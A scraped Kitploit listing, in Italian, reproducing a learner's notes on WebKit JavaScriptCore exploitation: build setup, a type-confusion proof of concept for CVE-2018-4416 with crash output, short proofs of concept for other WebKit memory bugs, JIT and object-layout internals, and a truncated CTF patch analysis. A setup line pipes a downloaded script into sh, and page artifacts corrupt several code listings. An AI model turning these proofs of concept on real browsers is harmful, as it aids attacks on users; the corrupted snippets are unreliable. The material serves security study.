Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2018-4416-exploit — Sfruttamento di CVE per WebKit jsc CVE-2018-4416 | Kitploit
Strumenti/GitHubGitHub/erupmi/cve-2018-4416-exploit
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPaper e RicercaApprendimento e FormazionePercorsi e CorsiBinary Exploitation
GitHuberupmi/cve-2018-4416-exploit

CVE-2018-4416-exploit

Sfruttamento di CVE per WebKit jsc CVE-2018-4416

Vedi Repository
932 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
  • Preface :PROPERTIES: :CUSTOM_ID: preface :END: Ok, la sicurezza binaria non è solo /heap/ e /stack/, abbiamo ancora molto da scoprire oltre alle normali sfide CTF. Browser, Virtual Machine e Kernel giocano tutti un ruolo importante nella sicurezza binaria. E ho deciso di studiare prima il browser.

Ho scelto uno relativamente semplice: /WebKit/. (ChakraCore potrebbe essere più semplice, LoL. Ma gira voce che Microsoft abbia cancellato il progetto. Quindi ho deciso di non sceglierlo).

Scriverò una serie di post per annotare i miei appunti sullo studio della sicurezza di /WebKit/. È anche la mia prima volta che studio Browser Security, quindi i miei post probabilmente avranno molti errori. Se li notate, non esitate a contattarmi per le correzioni.

Prima di leggerlo, devi conoscere: - la grammatica del C++ - la grammatica dell'Assembly - l'installazione di una Virtual Machine - la familiarità con Ubuntu e la sua riga di comando - i concetti base della teoria dei compilatori


  • Setup :PROPERTIES: :CUSTOM_ID: setup :END: Ok, iniziamo.

** Virtual Machine :PROPERTIES: :CUSTOM_ID: virtual-machine :END: Per prima cosa, dobbiamo installare una VM come nostro ambiente di test. Qui, scelgo /Ubuntu 18.04 LTS/ e /Ubuntu 16.04 LTS/come sistema ospite. Puoi scaricarla [[https://www.ubuntu.com/][qui]]. Se non specifico la versione, usa 18.04 LTS come versione predefinita.

Mac potrebbe essere una scelta più appropriata, visto che ha XCode e Safari. Considerato l'elevato consumo di risorse di MacOS e gli aggiornamenti instabili, preferisco usare Ubuntu.

Ci serve un software per VM. Preferisco usare [[https://www.vmware.com/][VMWare]]. Vanno bene anche Parallel Desktop e VirtualBox(gratuito), dipende dalle tue abitudini personali.

Non ti spiegherò passo passo come installare Ubuntu su VMWare. Tuttavia, devo comunque ricordarti di allocare quanta più memoria e quante più CPU possibile, perché la compilazione consuma un'enorme quantità di risorse. Un disco da 80GB dovrebbe bastare per conservare il codice sorgente e i file compilati.

** Source Code :PROPERTIES: :CUSTOM_ID: source-code :END: Puoi scaricare il codice sorgente di WebKit in tre modi: [[https://github.com/WebKit/webkit][/git/]], /svn/, e [[https://webkit.org/getting-the-code/][/archive/]].

Il gestore di versioni predefinito di WebKit è svn. Ma io scelgo git(troppo poco familiare con svn):

#+begin_example git clone git://git.webkit.org/WebKit.git WebKit #+end_example

** Debugger and Editor :PROPERTIES: :CUSTOM_ID: debugger-and-editor :END: L'IDE consuma molte risorse, quindi uso vim per modificare il codice sorgente.

La maggior parte dei lavori di debug che ho visto usa lldb, con cui non ho familiarità. Perciò installo anche gdb con il plugin gef.

#+begin_src shell sudo apt install vim gdb lldb wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh #+end_src

** Test :PROPERTIES: :CUSTOM_ID: test :END: *** Compiling JavaScriptCore :PROPERTIES: :CUSTOM_ID: compiling-javascriptcore :END: Compilare un WebKit completo richiede molto tempo. Per ora compiliamo solo JSC(JavaScript Core), da cui provengono la maggior parte delle vulnerabilità.

Ora dovresti trovarti nella directory principale del codice sorgente di WebKit. Esegui questo comando per preparare le dipendenze:

#+begin_src shell Tools/gtk/install-dependencies #+end_src

Anche se per ora non compiliamo ancora l'intero WebKit, puoi installare subito le dipendenze rimanenti per test futuri. Questo passaggio non è necessario per compilare JSC se non vuoi spendere troppo tempo:

#+begin_src shell Tools/Scripts/update-webkitgtk-libs #+end_src

Dopodiché, possiamo compilare JSC:

#+begin_src shell Tools/Scripts/build-webkit --jsc-only #+end_src

Tra un paio di minuti, possiamo eseguire JSC con:

#+begin_src shell WebKitBuild/Release/bin/jsc #+end_src

Facciamo qualche test:

#+begin_example

1+1 2 var obj = {a:1, b:"test"} undefined JSON.stringify(obj) {"a":1,"b":"test"} #+end_example

*** Triggering Bugs :PROPERTIES: :CUSTOM_ID: triggering-bugs :END:

#+begin_quote Qui Ubuntu 18.04 LTS #+end_quote

Useremo [[https://bugs.chromium.org/p/project-zero/issues/detail?id=1652][CVE-2018-4416]] per il test; ecco la PoC. Salvala come =poc.js= nella stessa cartella di =jsc=:

#+begin_example function gc() { for (let i = 0; i < 10; i++) { let ab = new ArrayBuffer(1024 * 1024 * 10); } }

function opt(obj) { // Starting the optimization. for (let i = 0; i < 500; i++) {

root@kitploit:~
  }

  let tmp = {a: 1};

  gc();
  tmp.__proto__ = {};

  for (let k in tmp) {  // The structure ID of "tmp" is stored in a JSPropertyNameEnumerator.
      tmp.__proto__ = {};

      gc();

      obj.__proto__ = {};  // The structure ID of "obj" equals to tmp's.

      return obj[k];  // Type confusion.
  }

}

opt({});

let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x1234;

let fake_object = opt(fake_object_memory); print(fake_object); #+end_example

Per prima cosa, passa alla versione vulnerabile:

#+begin_example git checkout -b CVE-2018-4416 034abace7ab #+end_example

#+begin_quote Potrebbe richiedere anche più tempo della compilazione #+end_quote

Esegui: =./jsc poc.js=, e otterremo:

#+begin_example ASSERTION FAILED: structureID < m_capacity ../../Source/JavaScriptCore/runtime/StructureIDTable.h(129) : JSC::Structure* JSC::StructureIDTable::get(JSC::StructureID) 1 0x7f055ef18c3c WTFReportBacktrace 2 0x7f055ef18eb4 WTFCrash 3 0x7f055ef18ec4 WTFIsDebuggerAttached 4 0x5624a900451c JSC::StructureIDTable::get(unsigned int) 5 0x7f055e86f146 bool JSC::JSObject::getPropertySlot(JSC::ExecState*, JSC::PropertyName, JSC::PropertySlot&) 6 0x7f055e85cf64 7 0x7f055e846693 JSC::JSObject::toPrimitive(JSC::ExecState*, JSC::PreferredPrimitiveType) const 8 0x7f055e7476bb JSC::JSCell::toPrimitive(JSC::ExecState*, JSC::PreferredPrimitiveType) const 9 0x7f055e745ac8 JSC::JSValue::toStringSlowCase(JSC::ExecState*, bool) const 10 0x5624a900b3f1 JSC::JSValue::toString(JSC::ExecState*) const 11 0x5624a8fcc3a9 12 0x5624a8fcc70c 13 0x7f05131fe177 Illegal instruction (core dumped) #+end_example

Se lo eseguiamo sull'ultima versione(=git checkout master= per tornare indietro, ed elimina il contenuto della build con =rm -rf WebKitBuild/Relase/= e =rm -rf WebKitBuild/Debug/=):

#+begin_example ./jsc poc.js WARNING: ASAN interferes with JSC signal handlers; useWebAssemblyFastMemory will be disabled. OK undefined

================================================================= ==96575==ERROR: LeakSanitizer: detected memory leaks

Direct leak of 96 byte(s) in 3 object(s) allocated from: #0 0x7fe1f579e458 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe0458) #1 0x7fe1f2db7cc8 in __gnu_cxx::new_allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> >::allocate(unsigned long, void const*) (/home/browserbox/WebKit/WebKitBuild/Debug/lib/libJavaScriptCore.so.1+0x5876cc8) #2 0x7fe1f2db7a7a in std::allocator_traits<std::allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> > >::allocate(std::allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex,

... // lots of error message

SUMMARY: AddressSanitizer: 216 byte(s) leaked in 6 allocation(s). #+end_example

Ora siamo riusciti a innescare un bug!

Non ho intenzione di spiegare il dettaglio(non lo so neanche io). Spero che riusciremo a capire la causa principale tra qualche settimana.


  • Understanding WebKit Vulnerability :PROPERTIES: :CUSTOM_ID: understanding-webkit-vulnerability :END: Ora è il momento di discutere qualcosa di più approfondito. Prima di iniziare a parlare dell'architettura di WebKit, scopriamo i bug comuni in WebKit.

Qui discuto solo i bug relativi al livello binario. Alcuni bug di livello più alto, come /URL Spoof/ o /UXSS/, non sono il nostro argomento. Gli esempi seguenti non provengono solo da WebKit. Alcuni sono bug di Chrome. Li presenteremo brevemente. E analizzeremo la PoC nello specifico più avanti.

Prima di leggere questa parte, ti consiglio vivamente di leggere alcuni materiali sulla teoria dei compilatori. Dovresti anche apprendere le conoscenze base di Pwn. La mia spiegazione non è chiara. Di nuovo, correggi i miei errori se li trovi.

Questo post verrà aggiornato diverse volte man mano che la mia comprensione di JSC diventerà più profonda. Non dimenticare di controllarlo più avanti.

** 1. Use After Free :PROPERTIES: :CUSTOM_ID: use-after-free :END: Noto anche come =UAF=. È comune nelle sfide CTF, uno scenario classico:

#+begin_src C char* a = malloc(0x100); free(a); printf("%s", a); #+end_src

A causa di alcuni errori di logica, il codice riutilizza la memoria liberata. Di solito, una volta che controlliamo la memoria liberata, possiamo fare leak o scriverci.

CVE-2017-13791 è un esempio di UAF in WebKit. Ecco la PoC:

#+begin_example

a b #+end_example

** 2. Out of Bound :PROPERTIES: :CUSTOM_ID: out-of-bound :END: Noto anche come =OOB=. È come l'overflow nel Browser. Possiamo comunque leggere/scrivere memoria adiacente. =OOB= si verifica spesso a causa di una falsa ottimizzazione di un array o di un controllo insufficiente. Per esempio([[https://bugs.chromium.org/p/project-zero/issues/detail?id=1033][CVE-2017-2447]]):

#+begin_example var ba; function s(){ ba = this; }

function dummy(){ alert("just a function"); }

Object.defineProperty(Array.prototype, "0", {set : s }); var f = dummy.bind({}, 1, 2, 3, 4); ba.length = 100000; f(1, 2, 3); #+end_example

#+begin_quote Quando viene chiamato Function.bind, gli argomenti della chiamata vengono trasferiti in un Array prima di essere passati a JSBoundFunction::JSBoundFunction. Poiché è possibile che al prototipo di Array sia stato aggiunto un setter, uno script utente può ottenere un riferimento a questo Array e modificarlo in modo che la lunghezza sia maggiore dell'array butterfly nativo sottostante. Poi, quando boundFunctionCall tenta di copiare questo array nei parametri della chiamata, assume che la lunghezza non sia maggiore dell'array allocato (il che sarebbe vero se non fosse stato modificato) e legge fuori dai limiti. #+end_quote

Nella maggior parte dei casi, non possiamo sovrascrivere direttamente il registro =$RIP=. Gli autori di exploit creano sempre array finti per trasformare una R/W parziale in una R/W arbitraria.

** 3. Type Confusion :PROPERTIES: :CUSTOM_ID: type-confusion :END: È una vulnerabilità speciale che si verifica nelle applicazioni dotate di compilatore. E questo bug è leggermente difficile da spiegare.

Immagina di avere il seguente oggetto(32 bit):

#+begin_src C struct example{ int length; char *content; } #+end_src

Quindi, se in memoria abbiamo un oggetto con =length= == =5= e un puntatore =content=, probabilmente apparirà così:

#+begin_example 0x00: 0x00000005 -> length 0x04: 0xdeadbeef -> pointer #+end_example

Se poi abbiamo un altro oggetto:

#+begin_src C struct exploit{ int length; void (*exp)(); } #+end_src

Possiamo forzare il compilatore a interpretare l'oggetto =example= come un oggetto =exploit=. Possiamo trasformare la funzione =exp= in un indirizzo arbitrario e ottenere RCE.

Un esempio di type confusion:

#+begin_example var q; function g(){ q = g.caller; return 7; }

var a = [1, 2, 3]; a.length = 4; Object.defineProperty(Array.prototype, "3", {get : g}); [4, 5, 6].concat(a); q(0x77777777, 0x77777777, 0); #+end_example

Citato da [[https://bugs.chromium.org/p/project-zero/issues/detail?id=1032][CVE-2017-2446]]

#+begin_quote Se uno script builtin in webkit è in modalità strict, ma poi chiama una funzione che non è strict, a questa funzione è consentito chiamare Function.caller e può ottenere un riferimento alla funzione strict. #+end_quote

** 4. Integer Overflow :PROPERTIES: :CUSTOM_ID: integer-overflow :END: L'Integer Overflow è comune anche nelle CTF. Sebbene l'Integer Overflow di per sé non possa portare a RCE, probabilmente porta a =OOB=.

Non è difficile capire questo bug. Immagina di eseguire il codice seguente su una macchina a 32 bit:

#+begin_example mov eax, 0xffffffff add eax, 2 #+end_example

Poiché il massimo di =eax= è =0xffffffff=, non può contenere =0xffffffff= + =2= = =0x100000001=. Quindi, il byte più alto andrà in overflow(verrà eliminato). Il risultato finale di =eax= è =0x00000001=.

Questo è un esempio tratto da WebKit([[https://phoenhex.re/2017-06-02/arrayspread][CVE-2017-2536]]):

#+begin_example var a = new Array(0x7fffffff); var x = [13, 37, ...a, ...a]; #+end_example

#+begin_quote La lunghezza non viene controllata correttamente, quindi possiamo far overflow della lunghezza espandendo un array nel vecchio. Poi possiamo usare l'array esteso per =OOB=. #+end_quote

** 5. Else :PROPERTIES: :CUSTOM_ID: else :END: Alcuni bug sono difficili da classificare: - Race Condition - Memoria non allocata - ...

Li spiegherò in dettaglio più avanti.


  • JavaScriptCore in Depth :PROPERTIES: :CUSTOM_ID: javascriptcore-in-depth :END: WebKit include principalmente: - JavaScriptCore: motore di esecuzione di JavaScript. - WTF: /Web Template Library/, sostituto della libreria C++ STL. Ha operazioni sulle stringhe, smart pointer, ecc. Anche l'operazione sullo heap è unica qui. - DumpRenderTree: produce =RenderTree=. - WebCore: la parte più complicata. Ha CSS, DOM, HTML, render, ecc. Quasi ogni parte del browser, oltre ai componenti sopra menzionati.

E la JSC ha: - lexer - parser - interprete di avvio (LLInt) - tre compilatori JIT per JavaScript, il cui tempo di compilazione aumenta gradualmente ma l'esecuzione diventa sempre più veloce: + baseline JIT, il JIT iniziale + un JIT ottimizzante a bassa latenza (DFG) + un JIT ottimizzante ad alta produttività (FTL), fase finale del JIT - due motori di esecuzione WebAssembly: + BBQ + OMG

#+begin_quote Ancora una nota di disclaimer, questo post potrebbe essere impreciso o errato nello spiegare i meccanismi di WebKit #+end_quote

Se hai seguito corsi base di teoria della compilazione, lexer e parser sono come quelli insegnati a lezione. Ma la parte di generazione del codice è frustrante. Ha un interprete e tre compilatori, WTF? La JSC ha anche molte altre caratteristiche non convenzionali; diamo un'occhiata:

** JSC Value Representation :PROPERTIES: :CUSTOM_ID: jsc-value-representation :END: Per identificarli più facilmente, i valori della JSC sono rappresentati in modo diverso: - puntatore: =0000:PPPP:PPPP:PPPP= (inizia con 0000, seguito dal suo indirizzo) - double (inizia con 0001 o FFFE):

  • =0001:::= + =FFFE:::= - intero: =FFFF:0000:IIII:IIII= (usa =IIII:IIII= per memorizzare il valore) - false: =0x06= - true: =0x07= - undefined: =0x0a= - null: =0x02=

=0x0=, tuttavia, non è un valore valido e può portare a un crash.

** JSC Object Model :PROPERTIES: :CUSTOM_ID: jsc-object-model :END: A differenza di Java, che ha membri di classe fissi, JavaScript permette di aggiungere proprietà in qualsiasi momento.

Quindi, nonostante l'allineamento statico tradizionale delle proprietà, la JSC ha un butterfly pointer per aggiungere proprietà dinamiche. È come un array aggiuntivo. Spieghiamolo in diverse situazioni.

Inoltre, JSArray verrà sempre allocato con un butterfly pointer, poiché cambiano dinamicamente.

Possiamo capire facilmente il concetto con il seguente grafico:

*** 0x0 Fast JSObject :PROPERTIES: :CUSTOM_ID: x0-fast-jsobject :END: Le proprietà vengono inizializzate:

#+begin_example var o = {f: 5, g: 6}; #+end_example

Qui il butterfly pointer sarà null, dato che abbiamo solo proprietà statiche:

#+begin_example

|structure ID|

| indexing |

| type |

| flags |

| call state |

| NULL | --> Butterfly Pointer

| 0xffff000 | --> 5 in JS format | 000000005 |

| 0xffff000 | | 000000006 | --> 6 in JS format

#+end_example

Ampliamo la nostra conoscenza di JSObject. Come vediamo, ogni =structure ID= ha una struttura tabella associata. All'interno della tabella sono contenuti i nomi delle proprietà e i loro offset. Nel nostro precedente oggetto =o=, la tabella è così:

| nome proprietà | posizione | |---------------+-----------| | "f" | inline(0) | | "g" | inline(1) |

Quando vogliamo recuperare un valore(es. =var v = o.f=), accadrà quanto segue:

#+begin_src cpp if (o->structureID == 42) v = o->inlineStorage[0] else v = slowGet(o, “f”) #+end_src

Potresti chiederti perché il compilatore recupera direttamente il valore tramite offset quando sa che =ID= è =42=. Questo è un meccanismo chiamato inline caching, che ci aiuta a ottenere il valore più velocemente. Non ne parleremo molto, [[http://www.filpizlo.com/slides/pizlo-icooolps2018-inline-caches-slides.pdf][clicca qui]] per maggiori dettagli.

*** 0x1 JSObject with dynamically added fields :PROPERTIES: :CUSTOM_ID: x1-jsobject-with-dynamically-added-fields :END: #+begin_example var o = {f: 5, g: 6}; o.h = 7; #+end_example

Ora, la butterfly ha uno slot, che è 7.

#+begin_example

|structure ID|

| indexing |

| type |

| flags |

| call state |

| butterfly | -| ------------- -------------- | | 0xffff000 | | 0xffff000 | | | 000000007 | | 000000005 | | ------------- -------------- -> | ... | | 0xffff000 | | 000000006 |

#+end_example

*** 0x2 JSArray with room for 3 array elements :PROPERTIES: :CUSTOM_ID: x2-jsarray-with-room-for-3-array-elements :END: #+begin_example var a = []; #+end_example

La butterfly inizializza un array con una dimensione stimata. Il primo elemento =0= indica il numero di slot usati. E =3= indica gli slot massimi:

#+begin_example

|structure ID|

| indexing |

| type |

| flags |

| call state |

| butterfly | -| ------------- -------------- | | 0 | | ------------- (8 bits for these two elements) | | 3 | -> ------------- | | ------------- | | ------------- | | ------------- #+end_example

*** 0x3 Object with fast properties and array elements :PROPERTIES: :CUSTOM_ID: x3-object-with-fast-properties-and-array-elements :END: #+begin_example var o = {f: 5, g: 6}; o[0] = 7; #+end_example

Abbiamo riempito un elemento dell'array, quindi =0=(slot usati) ora aumenta a =1=:

#+begin_example

|structure ID|

| indexing |

| type |

| flags |

| call state |

| butterfly | -| ------------- -------------- | | 1 | | 0xffff000 | | ------------- | 000000005 | | | 3 | -------------- -> ------------- | 0xffff000 | | 0xffff000 | | 000000006 | | 000000007 |


root@kitploit:~
                 |   <hole>  |
                 -------------
                 |   <hole>  |
                 -------------

#+end_example*** 0x4 Oggetto con proprietà veloci e dinamiche ed elementi di array :PROPERTIES: :CUSTOM_ID: x4-object-with-fast-and-dynamic-properties-and-array-elements :END: #+begin_example var o = {f: 5, g: 6}; o[0] = 7; o.h = 8; #+end_example

Il nuovo membro verrà aggiunto prima dell'indirizzo del puntatore. Gli array sono posizionati a destra e gli attributi a sinistra del butterfly pointer, proprio come l'ala di una farfalla:

#+begin_example

|structure ID|

| indexing |

| type |

| flags |

| call state |

| butterfly | -| ------------- -------------- | | 0xffff000 | | 0xffff000 | | | 000000008 | | 000000005 | | ------------- -------------- | | 1 | | 0xffff000 | | ------------- | 000000006 | | | 2 | -------------- -> ------------- (pointer address) | 0xffff000 | | 000000007 | ------------- | | ------------- #+end_example

*** 0x5 Oggetto esotico con proprietà dinamiche ed elementi di array :PROPERTIES: :CUSTOM_ID: x5-exotic-object-with-dynamic-properties-and-array-elements :END: #+begin_example var o = new Date(); o[0] = 7; o.h = 8; #+end_example

Estendiamo la butterfly con una classe incorporata; le proprietà statiche non cambieranno:

#+begin_example

|structure ID|

| indexing |

| type |

| flags |

| call state |

| butterfly | -| ------------- -------------- | | 0xffff000 | | < C++ | | | 000000008 | | State > | -> ------------- -------------- | 1 | | < C++ | ------------- | State > | | 2 |


root@kitploit:~
                 | 0xffff000 |
                 | 000000007 |
                 -------------
                 |   <hole>  |
                 -------------

#+end_example

** Inferenza dei Tipi :PROPERTIES: :CUSTOM_ID: type-inference :END: JavaScript è un linguaggio con tipizzazione debole e dinamica. Il compilatore svolge molto lavoro nell'inferenza dei tipi, rendendo il tutto estremamente complicato.

*** Watchpoints :PROPERTIES: :CUSTOM_ID: watchpoints :END: I watchpoint possono verificarsi nei seguenti casi: - haveABadTime - Structure transition - InferredValue - InferredType - e molti altri...

Quando si verificano le situazioni sopra descritte, viene controllato se il watchpoint è stato ottimizzato. In WebKit, viene rappresentato così:

#+begin_src cpp class Watchpoint { public: virtual void fire() = 0; }; #+end_src

Per esempio, se il compilatore vuole ottimizzare =42.toString()= in ="42"= (restituire direttamente il valore piuttosto che usare codice per la conversione), controllerà se è già stato invalidato. Poi, se è valido, registra un watchpoint ed esegue l'ottimizzazione.

** Compilatori :PROPERTIES: :CUSTOM_ID: compilers :END: *** 0x0. LLInt :PROPERTIES: :CUSTOM_ID: x0.-llint :END: All'inizio, l'interprete genera un template di byte code. Prendendo la JVM come esempio, per eseguire un file =.class=, che è un altro tipo di template di byte code. Il byte code aiuta a rendere l'esecuzione più semplice:

#+begin_example parser -> bytecompiler -> generatorfication -> bytecode linker -> LLInt #+end_example

*** 0x1. Baseline JIT e Template di Byte Code :PROPERTIES: :CUSTOM_ID: x1.-baseline-jit-and-byte-code-template :END: Il JIT più elementare: qui genera il =template di byte code=. Per esempio, questo è /add/ in JavaScript:

#+begin_example function foo(a, b) { return a + b; } #+end_example

Questo è il bytecode IL, che è più diretto, senza lexer sofisticati e più comodo da convertire in asm:

#+begin_example [ 0] enter [ 1] get_scope loc3 [ 3] mov loc4, loc3 [ 6] check_traps [ 7] add loc6, arg1, arg2 [12] ret loc6 #+end_example

I segmenti di codice =7= e =12= possono produrre il seguente IL DFG (di cui parleremo dopo). Possiamo notare che durante le operazioni contiene molte informazioni relative ai tipi. Alla riga 4, il codice controlla se il tipo restituito corrisponde:

#+begin_src cpp GetLocal(Untyped:@1, arg1(B/FlushedInt32), R:Stack(6), bc#7); GetLocal(Untyped:@2, arg2(C/FlushedInt32), R:Stack(7), bc#7); ArithAdd(Int32:@23, Int32:@24, CheckOverflow, Exits, bc#7); MovHint(Untyped:@25, loc6, W:SideState, ClobbersExit, bc#7, ExitInvalid); Return(Untyped:@25, W:SideState, Exits, bc#12); #+end_src

L'AST si presenta così:

#+begin_example +----------+ | return | +----+-----+ | | +----+-----+ | add | +----------+ | | | | v v +--+---+ +-+----+ | arg1 | | arg2 | +------+ +------+ #+end_example

*** 0x2. DFG :PROPERTIES: :CUSTOM_ID: x2.-dfg :END: Se JSC rileva che una funzione viene eseguita alcune volte, passa alla fase successiva. La prima fase ha già generato il byte code. Quindi, il parser DFG analizza direttamente il byte code, che è meno astratto e più facile da analizzare. Poi, DFG ottimizza e genera il codice:

#+begin_example DFG bytecode parser -> DFG optimizer -> DFG Backend #+end_example

In questa fase, il codice viene eseguito molte volte e il tipo è relativamente costante. Per il controllo dei tipi verrà usato OSR.

Immaginiamo di voler ottimizzare partendo da questo:

#+begin_src cpp int foo(int* ptr) { int w, x, y, z; w = ... // lots of stuff

x = is_ok(ptr) ? *ptr : slow_path(ptr); y = ... // lots of stuff z = is_ok(ptr) ? *ptr : slow_path(ptr); return w + x + y + z; } #+end_src

fino a questo:

#+begin_src cpp int foo(int* ptr) { int w, x, y, z; w = ... // lots of stuff

if (!is_ok(ptr)) return foo_base1(ptr, w); x = *ptr; y = ... // lots of stuff z = *ptr; return w + x + y + z; } #+end_src

Il codice eseguirà più velocemente perché =ptr= eseguirà il controllo del tipo solo una volta. Se il tipo di /ptr/ è sempre diverso, il codice ottimizzato sarà più lento a causa dei frequenti bailout. Pertanto, solo quando il codice viene eseguito migliaia di volte, il browser usa =OSR= per ottimizzarlo.

*** 0x3. FLT :PROPERTIES: :CUSTOM_ID: x3.-flt :END: Se una funzione viene eseguita centinaia o migliaia di volte, il JIT userà FLT. Come DFG, FLT riutilizza il template di byte code, ma con un'ottimizzazione più profonda:

#+begin_example DFG bytecode parser -> DFG optimizer -> DFG-to-B3 lowering -> B3 Optimizer -> Instruction Selection -> Air Optimizer -> Air Backend #+end_example

*** 0x4. Ulteriori dettagli sull'ottimizzazione :PROPERTIES: :CUSTOM_ID: x4.-more-about-optimization :END: Diamo un'occhiata al cambiamento dell'IR nelle diverse fasi di ottimizzazione:

| IR | Stile | Esempio | |----------+-------------------------+----------------------------------------------| | Bytecode | Load/Store ad alto livello | =bitor dst, left, right= | | DFG | SSA esotico di medio livello | =dst: BitOr(Int32:@left, Int32:@right, ...)= | | B3 | SSA normale di basso livello | =Int32 @dst = BitOr(@left, @right)= | | Air | CISC architetturale | =Or32 %src, %dest= |

Il controllo dei tipi viene gradualmente eliminato. Ora puoi capire perché ci sono così tante confusioni di tipo nei CVE dei browser. In oltre, sono sempre più simili al codice macchina.

Quando il controllo dei tipi fallisce, il codice torna all'IR precedente (ad esempio, se un controllo dei tipi fallisce nella fase B3, il compilatore torna a DFG ed esegue in questa fase).

** Garbage Collector (TODO) :PROPERTIES: :CUSTOM_ID: garbage-collector-todo :END: L'heap di JSC è basato su GC. Gli oggetti nell'heap hanno un contatore dei loro riferimenti. Il GC esegue la scansione dell'heap per raccogliere la memoria inutile.

...ancora, servono più materiali...


  • Scrivere Exploit :PROPERTIES: :CUSTOM_ID: writing-exploitation :END: Prima di iniziare a sfruttare i bug, dovremmo valutare quanto sia difficile scrivere un exploit. Qui ci concentriamo sulla scrittura del codice exploit; i dettagli della vulnerabilità non verranno illustrati approfonditamente.

Questa sfida è WebKid del 35c3 CTF. Puoi compilare il binario di WebKit (con le istruzioni), preparare una VM e ottenere il codice exploit [[https://github.com/saelo/35c3ctf/tree/master/WebKid][qui]]. Inoltre, dovresti preparare macOS Mojave (10.14.2) in una VM o su una macchina reale (penso che non influisca sui crash nelle diverse versioni di macOS, ma la primitiva di attacco potrebbe essere diversa).

Esegui con questo comando:

#+begin_src shell DYLD_LIBRARY_PATH=/Path/to/WebKid DYLD_FRAMEWORK_PATH=/Path/to/WebKid /Path/to/WebKid/MiniBrowser.app/Contents/MacOS/MiniBrowser #+end_src

#+begin_quote Ricorda di usare il percorso completo. In caso contrario, il browser andrà in crash #+end_quote

Se esegui su una macchina locale, ricordati di creare =/flag1= per il test.

** Analisi :PROPERTIES: :CUSTOM_ID: analyzing :END: Diamo un'occhiata alla patch:

#+begin_example diff --git a/Source/JavaScriptCore/runtime/JSObject.cpp b/Source/JavaScriptCore/runtime/JSObject.cpp index 20fcd4032ce..a75e4ef47ba 100644 --- a/Source/JavaScriptCore/runtime/JSObject.cpp +++ b/Source/JavaScriptCore/runtime/JSObject.cpp @@ -1920,6 +1920,31 @@ bool JSObject::hasPropertyGeneric(ExecState* exec, unsigned propertyName, Proper return const_cast<JSObject*>(this)->getPropertySlot(exec, propertyName, slot); }

+static bool tryDeletePropertyQuickly(VM& vm, JSObject* thisObject, Structure* structure, PropertyName propertyName, unsigned attributes, PropertyOffset offset) +{

  • ASSERT(isInlineOffset(offset) || isOutOfLineOffset(offset));
  • Structure* previous = structure->previousID();
  • if (!previous)
  • root@kitploit:~
       return false;
    
  • unsigned unused;
  • bool isLastAddedProperty = !isValidOffset(previous->get(vm, propertyName, unused));
  • if (!isLastAddedProperty)
  • root@kitploit:~
       return false;
    
  • RELEASE_ASSERT(Structure::addPropertyTransition(vm, previous, propertyName, attributes, offset) == structure);
  • if (offset == firstOutOfLineOffset && !structure->hasIndexingHeader(thisObject)) {
  • root@kitploit:~
       ASSERT(!previous->hasIndexingHeader(thisObject) && structure->outOfLineCapacity() > 0 && previous->outOfLineCapacity() == 0);
    
  • root@kitploit:~
       thisObject->setButterfly(vm, nullptr);
    
  • }
  • thisObject->setStructure(vm, previous);
  • return true; +}

// ECMA 8.6.2.5 bool JSObject::deleteProperty(JSCell* cell, ExecState* exec, PropertyName propertyName) { @@ -1946,18 +1971,21 @@ bool JSObject::deleteProperty(JSCell* cell, ExecState* exec, PropertyName proper

root@kitploit:~
   Structure* structure = thisObject->structure(vm);
  • bool propertyIsPresent = isValidOffset(structure->get(vm, propertyName, attributes));
  • PropertyOffset offset = structure->get(vm, propertyName, attributes);
  • bool propertyIsPresent = isValidOffset(offset); if (propertyIsPresent) { if (attributes & PropertyAttribute::DontDelete && vm.deletePropertyMode() != VM::DeletePropertyMode::IgnoreConfigurable) return false;
  • root@kitploit:~
       PropertyOffset offset;
    
  • root@kitploit:~
       if (structure->isUncacheableDictionary())
    
  • root@kitploit:~
       if (structure->isUncacheableDictionary()) {
           offset = structure->removePropertyWithoutTransition(vm, propertyName, [] (const ConcurrentJSLocker&, PropertyOffset) { });
    
  • root@kitploit:~
       else
    
  • root@kitploit:~
           thisObject->setStructure(vm, Structure::removePropertyTransition(vm, structure, propertyName, offset));
    
  • root@kitploit:~
       } else {
    
  • root@kitploit:~
           if (!tryDeletePropertyQuickly(vm, thisObject, structure, propertyName, attributes, offset)) {
    
  • root@kitploit:~
               thisObject->setStructure(vm, Structure::removePropertyTransition(vm, structure, propertyName, offset));
    
  • root@kitploit:~
           }
    
  • root@kitploit:~
       }
    
  • root@kitploit:~
       if (offset != invalidOffset)
    
  • root@kitploit:~
       if (offset != invalidOffset && (!isOutOfLineOffset(offset) || thisObject->butterfly()))
           thisObject->locationForOffset(offset)->clear();
    
    }

diff --git a/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in b/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in index 536481ecd6a..62189fea227 100644 --- a/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in +++ b/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in @@ -25,6 +25,12 @@ (deny default (with partial-symbolication)) (allow system-audit file-read-metadata)

